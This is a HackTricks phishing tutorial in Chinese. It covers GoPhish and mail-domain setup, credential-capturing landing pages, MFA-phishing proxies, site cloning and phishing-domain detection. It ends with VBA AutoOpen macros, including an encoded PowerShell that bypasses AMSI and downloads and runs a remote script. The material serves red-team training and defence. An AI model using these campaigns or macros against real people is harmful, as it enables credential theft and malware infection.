* [https://phonebook.cz/](https://phonebook.cz)（100%免费）
* [https://maildb.io/](https://maildb.io)
* [https://hunter.io/](https://hunter.io)
* [https://anymailfinder.com/](https://anymailfinder.com)

为了**发现更多**有效的电子邮件地址或**验证已经发现的**电子邮件地址，您可以尝试暴力破解受害者的smtp服务器。[了解如何验证/发现电子邮件地址](/network-services-pentesting/pentesting-smtp#username-bruteforce-enumeration)。\
此外，不要忘记，如果用户使用**任何网页门户访问他们的邮件**，您可以检查该门户是否容易受到**用户名暴力破解**的攻击，并在可能的情况下利用该漏洞。

## 配置GoPhish

### 安装

您可以从<https://github.com/gophish/gophish/releases/tag/v0.11.0>下载。

下载并解压缩到`/opt/gophish`内，并执行`/opt/gophish/gophish`\
您将在输出中获得端口3333上管理员用户的密码。因此，请访问该端口并使用这些凭据更改管理员密码。您可能需要将该端口隧道转发到本地：

```bash
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
```

### 配置

**TLS 证书配置**

在这一步之前，您应该已经**购买了**要使用的域名，并且它必须**指向**您正在配置**gophish**的**VPS的IP**。

```bash
DOMAIN="<domain>"
wget https://dl.eff.org/certbot-auto
chmod +x certbot-auto
sudo apt install snapd
sudo snap install core
sudo snap refresh core
sudo apt-get remove certbot
sudo snap install --classic certbot
sudo ln -s /snap/bin/certbot /usr/bin/certbot
certbot certonly --standalone -d "$DOMAIN"
mkdir /opt/gophish/ssl_keys
cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem
cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crt​
```

**邮件配置**

开始安装：`apt-get install postfix`

然后将域添加到以下文件：

* **/etc/postfix/virtual\_domains**
* **/etc/postfix/transport**
* **/etc/postfix/virtual\_regexp**

**还要更改 /etc/postfix/main.cf 中以下变量的值**

`myhostname = <domain>`\
`mydestination = $myhostname, <domain>, localhost.com, localhost`

最后修改文件 **`/etc/hostname`** 和 **`/etc/mailname`** 为您的域名，然后 **重新启动您的 VPS。**

现在，创建一个指向 VPS 的 **DNS A 记录** `mail.<domain>`，以及一个指向 `mail.<domain>` 的 **DNS MX 记录**

现在让我们测试发送电子邮件：

```bash
apt install mailutils
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com
```

**Gophish配置**

停止gophish的执行，然后进行配置。\
将`/opt/gophish/config.json`修改为以下内容（注意使用https）：

```bash
{
"admin_server": {
"listen_url": "127.0.0.1:3333",
"use_tls": true,
"cert_path": "gophish_admin.crt",
"key_path": "gophish_admin.key"
},
"phish_server": {
"listen_url": "0.0.0.0:443",
"use_tls": true,
"cert_path": "/opt/gophish/ssl_keys/key.crt",
"key_path": "/opt/gophish/ssl_keys/key.pem"
},
"db_name": "sqlite3",
"db_path": "gophish.db",
"migrations_prefix": "db/db_",
"contact_address": "",
"logging": {
"filename": "",
"level": ""
}
}
```

**配置gophish服务**

为了创建gophish服务，使其可以自动启动并作为一个服务进行管理，您可以创建文件`/etc/init.d/gophish`，内容如下：

```bash
#!/bin/bash
# /etc/init.d/gophish
# initialization file for stop/start of gophish application server
#
# chkconfig: - 64 36
# description: stops/starts gophish application server
# processname:gophish
# config:/opt/gophish/config.json
# From https://github.com/gophish/gophish/issues/586

# define script variables

processName=Gophish
process=gophish
appDirectory=/opt/gophish
logfile=/var/log/gophish/gophish.log
errfile=/var/log/gophish/gophish.error

start() {
echo 'Starting '${processName}'...'
cd ${appDirectory}
nohup ./$process >>$logfile 2>>$errfile &
sleep 1
}

stop() {
echo 'Stopping '${processName}'...'
pid=$(/bin/pidof ${process})
kill ${pid}
sleep 1
}

status() {
pid=$(/bin/pidof ${process})
if [["$pid" != ""| "$pid" != "" ]]; then
echo ${processName}' is running...'
else
echo ${processName}' is not running...'
fi
}

case $1 in
start|stop|status) "$1" ;;
esac
```

完成配置服务并进行检查：

```bash
mkdir /var/log/gophish
chmod +x /etc/init.d/gophish
update-rc.d gophish defaults
#Check the service
service gophish start
service gophish status
ss -l | grep "3333\|443"
service gophish stop
```

## 配置邮件服务器和域名

### 等待并保持合法性

域名越老，被识别为垃圾邮件的可能性就越小。因此，在进行钓鱼评估之前，您应该尽可能等待（至少1周）。此外，如果您发布关于声誉良好领域的页面，获得的声誉会更好。

请注意，即使您需要等待一周，您现在也可以完成所有配置。

### 配置反向DNS（rDNS）记录

设置一个将VPS的IP地址解析为域名的rDNS（PTR）记录。

### 发件人策略框架（SPF）记录

您必须**为新域名配置SPF记录**。如果您不知道什么是SPF记录，请[**阅读此页面**](/network-services-pentesting/pentesting-smtp#spf)。

您可以使用[https://www.spfwizard.net/](https://www.spfwizard.net)生成您的SPF策略（使用VPS机器的IP）。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-a27b8e3a343a04ddef531ddfbbee3380f8d03647%2Fimage%20\(388\).png?alt=media)

这是必须设置在域名的TXT记录中的内容：

```bash
v=spf1 mx a ip4:ip.ip.ip.ip ?all
```

### 基于域的消息认证、报告和合规性（DMARC）记录

您必须**为新域配置DMARC记录**。如果您不知道什么是DMARC记录[**阅读此页面**](/network-services-pentesting/pentesting-smtp#dmarc)。

您必须创建一个新的DNS TXT记录，将主机名`_dmarc.<domain>`指向以下内容：

```bash
v=DMARC1; p=none
```

### DomainKeys Identified Mail (DKIM)

您必须**为新域配置DKIM**。如果您不知道什么是DMARC记录[**阅读此页面**](/network-services-pentesting/pentesting-smtp#dkim)。

本教程基于：<https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy>

{% hint style="info" %}
您需要连接DKIM密钥生成的两个B64值：

```
v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB
```

{% endhint %}

### 测试您的电子邮件配置分数

您可以使用[https://www.mail-tester.com/](https://www.mail-tester.com)进行测试\
只需访问该页面并向他们提供的地址发送电子邮件：

```bash
echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com
```

您还可以通过向`check-auth@verifier.port25.com`发送电子邮件来**检查您的电子邮件配置**，并**阅读响应**（为此，您需要**打开**端口**25**，并在文件`/var/mail/root`中查看响应，如果您以root用户发送电子邮件）。\
检查您是否通过了所有测试：

```bash
==========================================================
Summary of Results
==========================================================
SPF check:          pass
DomainKeys check:   neutral
DKIM check:         pass
Sender-ID check:    pass
SpamAssassin check: ham
```

您还可以发送**消息到您控制的 Gmail**，并在您的 Gmail 收件箱中检查**电子邮件的标头**，`dkim=pass` 应出现在 `Authentication-Results` 标头字段中。

```
Authentication-Results: mx.google.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
dkim=pass header.i=@example.com;
```

### 从 Spamhouse 黑名单中移除

页面 [www.mail-tester.com](https://hacktricks.xsx.tw/generic-methodologies-and-resources/www.mail-tester.com) 可以告诉您您的域名是否被 Spamhouse 阻止。您可以在以下网址请求将您的域名/IP 移除：<https://www.spamhaus.org/lookup/>

### 从 Microsoft 黑名单中移除

您可以在 [https://sender.office.com/](https://sender.office.com) 请求将您的域名/IP 移除。

## 创建并启动 GoPhish 攻击活动

### 发送配置

* 设置一个**用于识别的名称**作为发件人配置
* 决定从哪个账户发送钓鱼邮件。建议使用：*noreply, support, servicedesk, salesforce...*
* 您可以留空用户名和密码，但请确保勾选“忽略证书错误”

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-b2fe24f436b209350f0a6770c78f15782269b389%2Fimage%20\(253\)%20\(1\)%20\(2\)%20\(1\)%20\(1\)%20\(2\)%20\(2\)%20\(3\)%20\(3\)%20\(5\)%20\(3\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(17\).png?alt=media)

{% hint style="info" %}
建议使用“**发送测试邮件**”功能测试一切是否正常。\
我建议**将测试邮件发送到 10min 邮箱地址**，以避免在测试中被列入黑名单。
{% endhint %}

### 邮件模板

* 设置一个**用于识别的名称**作为模板
* 然后编写一个**主题**（不要太奇怪，只需是您期望在常规邮件中看到的内容）
* 确保已勾选“**添加跟踪图片**”
* 编写**邮件模板**（您可以使用变量，如以下示例中所示）:

```markup
<html>
<head>
<title></title>
</head>
<body>
<p class="MsoNormal"><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,sans-serif;color:black">Dear {{.FirstName}} {{.LastName}},</span></p>
<br />
Note: We require all user to login an a very suspicios page before the end of the week, thanks!<br />
<br />
Regards,</span></p>

WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY

<p>{{.Tracker}}</p>
</body>
</html>
```

注意：为了增加电子邮件的可信度，建议使用客户的某个签名。建议：

* 发送电子邮件到一个不存在的地址，并检查响应中是否有签名。
* 搜索像<info@ex.com>或<press@ex.com>或<public@ex.com>这样的公共电子邮件，并发送电子邮件等待响应。
* 尝试联系一些已发现的有效电子邮件，并等待响应。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-cac104ed8604efaf486d7c910ea25018390fc82b%2Fimage%20\(393\).png?alt=media)

{% hint style="info" %}
电子邮件模板还允许**附加文件进行发送**。如果您还想使用一些特别制作的文件/文档来窃取NTLM挑战，请阅读[此页面](/windows-hardening/ntlm/places-to-steal-ntlm-creds)。
{% endhint %}

### 着陆页面

* 编写一个**名称**
* **编写网页的HTML代码**。请注意，您可以**导入**网页。
* 标记**捕获提交的数据**和**捕获密码**
* 设置**重定向**

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-14f155ddde76fdf11e0fb3bb0d3d31d546eb4fbf%2Fimage%20\(394\).png?alt=media)

{% hint style="info" %}
通常，您需要修改页面的HTML代码并在本地进行一些测试（可能使用一些Apache服务器）**直到您满意为止**。然后，将HTML代码写入框中。\
请注意，如果您需要为HTML使用一些静态资源（也许是一些CSS和JS页面），您可以将它们保存在\_**/opt/gophish/static/endpoint**\_，然后从\_static/\<filename>\_访问它们
{% endhint %}

{% hint style="info" %}
对于重定向，您可以将用户**重定向到受害者的合法主网页**，或将其重定向到\_/static/migration.html\_，例如，放置一些**旋转的轮子**（[**https://loading.io/**](https://loading.io)）5秒钟，然后指示过程成功。
{% endhint %}

### 用户和组

* 设置一个名称
* **导入数据**（请注意，为了使用示例模板，您需要每个用户的名字、姓氏和电子邮件地址）

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-969420a3a36c2fdfa75a48ff3a10252a35ea28f5%2Fimage%20\(395\).png?alt=media)

### 活动

最后，创建一个活动，选择一个名称，电子邮件模板，着陆页面，URL，发送配置文件和组。请注意，URL将是发送给受害者的链接

请注意，**发送配置文件允许发送测试电子邮件，以查看最终钓鱼电子邮件的外观**：

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78cc16af3372ebdf5c669656e447925ca64f65b1%2Fimage%20\(396\).png?alt=media)

{% hint style="info" %}
我建议**将测试电子邮件发送到10分钟邮件地址**，以避免在测试中被列入黑名单。
{% endhint %}

一切准备就绪后，启动活动！

## 网站克隆

如果出于任何原因您想克隆网站，请查看以下页面：

{% content-ref url="/pages/ky7gfcQhVDg1G1K7agYF" %}
[Clone a Website](/generic-methodologies-and-resources/phishing-methodology/clone-a-website)
{% endcontent-ref %}

## 带后门的文档和文件

在一些钓鱼评估中（主要用于红队），您可能还想**发送包含某种后门的文件**（也许是一个C2，或者可能只是会触发身份验证的东西）。\
查看以下页面以获取一些示例：

{% content-ref url="/pages/B5TvJFi2OSEBiqjVXfbV" %}
[Phishing Files & Documents](/generic-methodologies-and-resources/phishing-methodology/phishing-documents)
{% endcontent-ref %}

## 钓鱼MFA

### 通过代理MitM

前面的攻击相当聪明，因为您正在伪造一个真实网站并收集用户设置的信息。不幸的是，如果用户没有输入正确的密码，或者如果您伪造的应用程序配置了2FA，**这些信息将无法让您冒充被欺骗的用户**。

这就是像[**evilginx2**](https://github.com/kgretzky/evilginx2)**、**[**CredSniper**](https://github.com/ustayready/CredSniper)和[**muraena**](https://github.com/muraenateam/muraena)这样的工具派上用场的地方。这些工具将允许您生成类似MitM的攻击。基本上，攻击的工作方式如下：

1. 您**冒充**真实网页的**登录**表单。
2. 用户将其凭据发送到您的伪造页面，工具将这些凭据发送到真实网页，**检查凭据是否有效**。
3. 如果帐户配置了**2FA**，MitM页面将要求输入，一旦用户输入，工具将其发送到真实网页。
4. 一旦用户经过身份验证，您（作为攻击者）将**捕获到凭据、2FA、cookie和工具执行MitM期间的任何交互的任何信息**。

### 通过VNC

如果**不是将受害者发送到一个看起来与原始页面相同的恶意页面**，而是将其发送到一个**连接到真实网页的浏览器的VNC会话**，会怎样？您将能够看到他的操作，窃取密码、使用的MFA、cookie...\
您可以使用[**EvilnVNC**](https://github.com/JoelGMSec/EvilnoVNC)

## 检测检测

显然，要知道自己是否被发现是最好的方法之一是**在黑名单中搜索您的域名**。如果它被列出，那么您的域名以某种方式被检测为可疑。\
检查您的域名是否出现在任何黑名单中的一种简单方法是使用[https://malwareworld.com/](https://malwareworld.com)

但是，还有其他方法可以知道受害者是否**在野外主动寻找可疑的钓鱼活动**，如下所述：

{% content-ref url="/pages/oTf4aTU7gnMoAdtUIYmD" %}
[Detecting Phishing](/generic-methodologies-and-resources/phishing-methodology/detecting-phising)
{% endcontent-ref %}

您可以**购买一个与受害者域名非常相似的域名**，或者为您控制的域名的**子域**生成一个**包含**受害者域名关键字的**证书**。如果**受害者**与它们进行任何形式的**DNS或HTTP交互**，您将知道**他正在主动寻找**可疑的域名，您需要非常隐秘。

### 评估钓鱼

使用[**Phishious**](https://github.com/Rices/Phishious)来评估您的电子邮件是否会被放入垃圾邮件文件夹，或者是否会被阻止或成功发送。

## 参考资料

* <https://zeltser.com/domain-name-variations-in-phishing/>
* <https://0xpatrik.com/phishing-domains/>
* <https://darkbyte.net/robando-sesiones-y-bypasseando-2fa-con-evilnovnc/>
* <https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy>

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Clone a Website

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-c3347d98363eddbac80c10d95a19c2559b0161d2%2FWebSec_1500x400_10fps_21sn_lightoptimized_v2.gif?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://websec.nl/>" %}

对于钓鱼评估，有时完全**克隆一个网站**可能会很有用。

请注意，您还可以向克隆的网站添加一些有效负载，比如BeEF hook来“控制”用户的标签页。

有不同的工具可用于此目的：

### wget

```
wget -mk -nH
```

### 克隆网站

```bash
#https://github.com/imthaghost/goclone
goclone <url>
```

### 社会工程学工具包

```bash
#https://github.com/trustedsec/social-engineer-toolkit
```

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-c3347d98363eddbac80c10d95a19c2559b0161d2%2FWebSec_1500x400_10fps_21sn_lightoptimized_v2.gif?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://websec.nl/>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>


# Detecting Phishing

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## 简介

要检测钓鱼尝试，重要的是**了解当前使用的钓鱼技术**。在本帖的父页面上，您可以找到这些信息，因此如果您不知道今天使用哪些技术，建议您转到父页面并至少阅读该部分。

本帖基于这样一个想法，即**攻击者将尝试模仿或使用受害者的域名**。如果您的域名为`example.com`，而您被钓鱼使用了一个完全不同的域名，比如`youwonthelottery.com`，这些技术将无法揭示它。

## 域名变体

**揭示**那些将在电子邮件中使用**类似域名**的**钓鱼**尝试是**相当容易**的。\
只需**生成攻击者可能使用的最有可能的钓鱼名称列表**，并**检查**它是否**已注册**，或者只需检查是否有任何**使用它的IP**。

### 查找可疑域名

为此，您可以使用以下任何工具。请注意，这些工具还将自动执行DNS请求，以检查该域名是否分配了任何IP：

* [**dnstwist**](https://github.com/elceef/dnstwist)
* [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)

### 位翻转

**您可以在父页面中找到此技术的简要解释。或者阅读原始研究：**[**https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/**](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)

例如，对域名microsoft.com进行1位修改，可以将其转换为\_windnws.com.\_\
**攻击者可能注册尽可能多与受害者相关的位翻转域，以将合法用户重定向到他们的基础设施**。

**所有可能的位翻转域名也应该受到监控**。

### 基本检查

一旦您有潜在可疑域名列表，您应该**检查**它们（主要是HTTP和HTTPS端口），以**查看它们是否使用类似受害者域名的登录表单**。\
您还可以检查端口3333，看看是否打开并运行了`gophish`实例。\
了解每个发现的可疑域名的**年龄**也很有趣，年龄越小，风险越大。\
您还可以获取HTTP和/或HTTPS可疑网页的**屏幕截图**，以查看是否可疑，如果是这样，**访问以进行更深入的查看**。

### 高级检查

如果您想再进一步，我建议您**定期监控这些可疑域名并搜索更多**（每天一次？只需几秒/分钟）。您还应该**检查**相关IP的**开放端口**，并**搜索`gophish`或类似工具的实例**（是的，攻击者也会犯错误），并**监控可疑域名和子域的HTTP和HTTPS网页**，以查看它们是否复制了受害者网页的任何登录表单。\
为了**自动化**这一过程，我建议您拥有受害者域的登录表单列表，爬取可疑网页，并使用类似`ssdeep`的工具比较在可疑域内找到的每个登录表单与受害者域的每个登录表单。\
如果找到了可疑域的登录表单，您可以尝试**发送垃圾凭据**，并**检查是否将您重定向到受害者域**。

## 使用关键字的域名

父页面还提到了一种域名变体技术，即将**受害者的域名放在更大的域名中**（例如，paypal-financial.com代表paypal.com）。

### 证书透明度

虽然之前的“暴力破解”方法不可行，但实际上也**可以通过证书透明度揭示此类钓鱼尝试**。每当CA发出证书时，详细信息都会公开。这意味着通过阅读证书透明度，甚至监控它，**可以找到在其名称中使用关键字的域名**。例如，如果攻击者生成了一个<https://paypal-financial.com>的证书，通过查看证书，可以找到关键字“paypal”，并知道正在使用可疑的电子邮件。

帖子<https://0xpatrik.com/phishing-domains/>建议您可以使用Censys搜索受特定关键字影响的证书，并按日期（仅“新”证书）和CA签发者“Let's Encrypt”进行过滤：

![https://0xpatrik.com/content/images/2018/07/cert\_listing.png](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-918be96e0c20cbae131214ade8795a196557c651%2Fimage%20\(390\).png?alt=media)

但是，您也可以使用免费的网络[**crt.sh**](https://crt.sh)来“做同样的事”。您可以**搜索关键字**，如果愿意，还可以**按日期和CA进行过滤**结果。

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-5edd2e9f5034e05d3688a33fc16cc4b5a813fa4b%2Fimage%20\(391\).png?alt=media)

使用最后一种选项，您甚至可以使用匹配身份字段，查看真实域的任何身份是否与任何可疑域的身份匹配（请注意，可疑域可能是误报）。

**另一种选择**是名为[**CertStream**](https://medium.com/cali-dog-security/introducing-certstream-3fc13bb98067)的出色项目。CertStream提供新生成证书的实时流，您可以使用它来实时检测指定关键字。实际上，有一个名为[**phishing\_catcher**](https://github.com/x0rz/phishing_catcher)的项目就是这样做的。

### **新域名**

**最后一个选择**是收集一些TLD的**新注册域名列表**（[Whoxy](https://www.whoxy.com/newly-registered-domains/)提供此类服务），并**检查这些域名中的关键字**。但是，长域名通常使用一个或多个子域，因此关键字不会出现在FLD内，您将无法找到钓鱼子域。


# Phishing Files & Documents

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

* 您在**网络安全公司**工作吗？ 想要看到您的**公司在HackTricks中宣传**吗？ 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。

</details>

## 办公文档

Microsoft Word在打开文件之前执行文件数据验证。数据验证以数据结构识别的形式进行，针对OfficeOpenXML标准。如果在数据结构识别过程中发生任何错误，正在分析的文件将不会被打开。

通常，包含宏的Word文件使用`.docm`扩展名。但是，可以通过更改文件扩展名来重命名文件，并仍然保留其执行宏的功能。\
例如，RTF文件不支持宏，但将DOCm文件重命名为RTF将由Microsoft Word处理，并具有执行宏的能力。\
相同的内部机制适用于Microsoft Office套件中的所有软件（Excel、PowerPoint等）。

您可以使用以下命令检查哪些扩展名将由某些Office程序执行：

```bash
assoc | findstr /i "word excel powerp"
```

### 外部图片加载

前往：*插入 --> 快速部件 --> 字段*\
***类别**：链接和引用，**字段名称**：includePicture，并**文件名或URL**：* http\://\<ip>/whatever

![](https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-69c184be9c24a31ea142e0a81e41567dd6a61983%2Fimage%20\(316\).png?alt=media)

### 宏后门

可以使用宏从文档中运行任意代码。

#### 自动加载函数

它们越常见，杀毒软件检测到的可能性就越大。

* AutoOpen()
* Document\_Open()

#### 宏代码示例

```vba
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
End Sub
```

```vba
Sub AutoOpen()

Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "calc"

End Sub
```

```vba
Dim author As String
author = oWB.BuiltinDocumentProperties("Author")
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
.StdIn.WriteLine author
.StdIn.WriteBlackLines 1
```

```vba
Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
```

#### 手动删除元数据

